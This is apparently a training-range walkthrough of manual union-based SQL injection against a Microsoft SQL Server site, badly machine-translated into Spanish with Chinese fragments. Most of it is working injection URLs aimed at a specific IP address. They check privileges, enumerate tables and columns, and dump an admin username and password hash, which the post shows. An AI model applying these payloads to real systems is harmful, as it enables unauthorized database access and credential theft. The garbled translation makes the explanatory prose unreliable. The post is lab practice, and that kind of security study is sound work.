saulGoodman
Una serie de investigaciones ofensivo y defensivo se centró en equipo rojo del público
Nota manos de Microsoft SQL Server de la inyección de investigación conjunta
la base de datos mssql Introducción
SQL Server
Se Microsoft
introdujo sistemas de gestión de bases de datos relacionales. Fácil de utilizar el software con una buena ventajas de escalabilidad de alto grado de integración, puede abarcar desde las grandes multi-procesador que ejecuta Microsoft Windows ordenador portátil 98 para ejecutar el servidor de Microsoft Windows 2012 y otras plataformas.
Microsoft SQL Server
Se trata de una plataforma de base de datos completa, utilizando inteligencia de negocio integrado (BI) proporcionan herramientas de gestión de datos de clase empresarial. Microsoft SQL Server
motor de base de datos proporciona capacidades de almacenamiento, fiables más seguras para datos relacionales y datos estructurados, para que pueda construir y gestionar aplicaciones de alta disponibilidad y de datos de alto rendimiento para los negocios.
la base de datos mssql, entorno de prueba
Completa la instalación SQL Server 2008
de base de datos: https: //jingyan.baidu.com/article/948f592434b407d80ef5f97d.html
permisos de base de datos Mssql Introducción
sa权限:数据库操作,文件管理,命令执行,注册表读取等:相当于system
db权限:文件管理、数据库操作等等:相当于users-administrators
public权限:数据库操作:相当于guest-users
código de llamada base de datos mssql
<%
set conn =server.createobject("adodb.connection") conn.open "provider=sqloledb;source=local;uid=sa;pwd=******;database=database-name"
%>
注释:uid:账号, pwd:密码
base de datos Mssql inyecta a mano
Determinar si la base de datos Mssql
Introduzca la SQL
declaración, si 返回正常
a continuación, que es la base de datos utilizada para el sitio Mssql
de base de datos, ya que Mssql
la base de datos tiene un valor predeterminado sysobjects
mesa.
SQL para determinar los permisos
and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner')) //判断是否是库权限
and 1=(select is_srvrolemember('public')) //判断是否为public权限
SQL vulnerabilidad de inyección de prueba manual (base de datos de SQL Server)
Direccionamiento: https://www.mozhe.cn/bug/detail/SXlYMWZhSm15QzM1OGpyV21BR1p2QT09bW96aGUmozhe
sitio de la inyección: http: //219.153.49.228: 42837 / new_list.asp id = 2?
Determinar si el Mssql
http://219.153.49.228:42837/new_list.asp?id=2 and exists(select * from sysobjects)
Volver a la normalidad, lo que indica que el sitio está en la base de datos Mssql
!
longitud de campo Analizar
http://219.153.49.228:42837/new_list.asp?id=2 order by 5
order by 5
Empujamos hacia adelante se devuelve un error:
http://219.153.49.228:42837/new_list.asp?id=2 order by 4
order by 4
Volver a la normalidad, el campo de descripción es una longitud de 4!
Buscando la posición de visualización de caracteres
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,null,null,null
这里使用的是 union all,它和 union select 的区别就是:union select 会自动去除一些重复的字段!
在这个靶场使用 union select 是不行的,所以我们就用 union all
然后我使用的 null 是说明它无关是字符型还是数字型
A continuación uno por uno de adivinar su posición de visualización:
http://219.153.49.228:42837/new_list.asp?id=-2 union all select '1',null,null,null
'1'
Él no respondió, lo que indica que no es la primera, luego continuar con la investigación y la siguiente null
:
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,'2',null,null
Esta vez tenía una página digital "2"
, lo que indica que 2
esta posición podemos sacar provecho de él!
Seguimos buscando en el tercer lugar:
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,'2','3',null
Se puede ver en nuestras páginas de una adición ‘3’
, una pantalla dígitos tercero también puede ir a su uso!
Nos fijamos en el cuarto (en realidad, será suficiente con pantalla de dos dígitos):
Creo que la cuarta página cuando no hay respuesta, lo que indica que sólo existe ‘2’
, ‘3’
dos bits de pantalla!
Otra información relevante
Ahora que tenemos la posición de visualización, entonces podemos utilizar el sitio para mostrar información de consulta que queremos conseguir!
@@version-:获取版本信息
db_name():数据库名字
user,system_user,current_user,user_name:获取当前⽤户名
@@SERVERNAME:获取有关服务器主机的信息
Obtener información sobre la versión
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,@@version,'3',null
Obtiene el nombre de la base
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,db_name(),'3',null
Obtener el nombre de base de datos actual
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,user,'3',null
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,system_user,'3',null
http://219.153.49.228:42837/new_list.asp?id=-2 union all select null,current_user,'3',null
consultas muestran
http://219.153.49.228:42837/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u'),'3',4
Echa un vistazo aquí representa el primero manage
, y luego ir a ver un segundo (en este caso mi avión no tripulado para reiniciar un poco, por lo que el puerto ha cambiado):
http://219.153.49.228:43946/new_list.asp?id=-2 union all select 1,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype='u' and name not in ('manage')),'3',4
注释:name not in ('manage') 这段语句意思是查询 name 不是 'manage' 的,这样就可以排除 'manage' 从而查询下一个表名
Echa un vistazo a la segunda nombre de la tabla announcement
, si desea continuar con la investigación, y luego continuar con not in
este juez consulta en la línea!
Obtiene el nombre de la columna
http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),1) from sysobjects),null,null
注释:col_name 是查询的列名,object_id('manage')是从manage这个表里查询,1 代表的是查询第一个列名
A continuación, echa un vistazo a la primera columna de nombre id
, seguimos buscando el segundo nombre de la columna sólo tiene que modificar el número del 1 al 2 en la línea col_name(object_id('manage'),2
http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),2) from sysobjects),null,null
Echa un vistazo a la segunda columna nombre username
, seguimos para consultar los nombres tercera columna:
http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,(select top 1 col_name(object_id('manage'),3) from sysobjects),null,null
La tercera columna es el nombre password
, esta vez conseguimos username
y password
columnas!
Obtener datos
http://219.153.49.228:43946/new_list.asp?id=-2 union all select null,username, password ,null from manage
Esta vez inyectamos de su cuenta: admin_mz
la contraseña 72e1bfc3f01b7583
!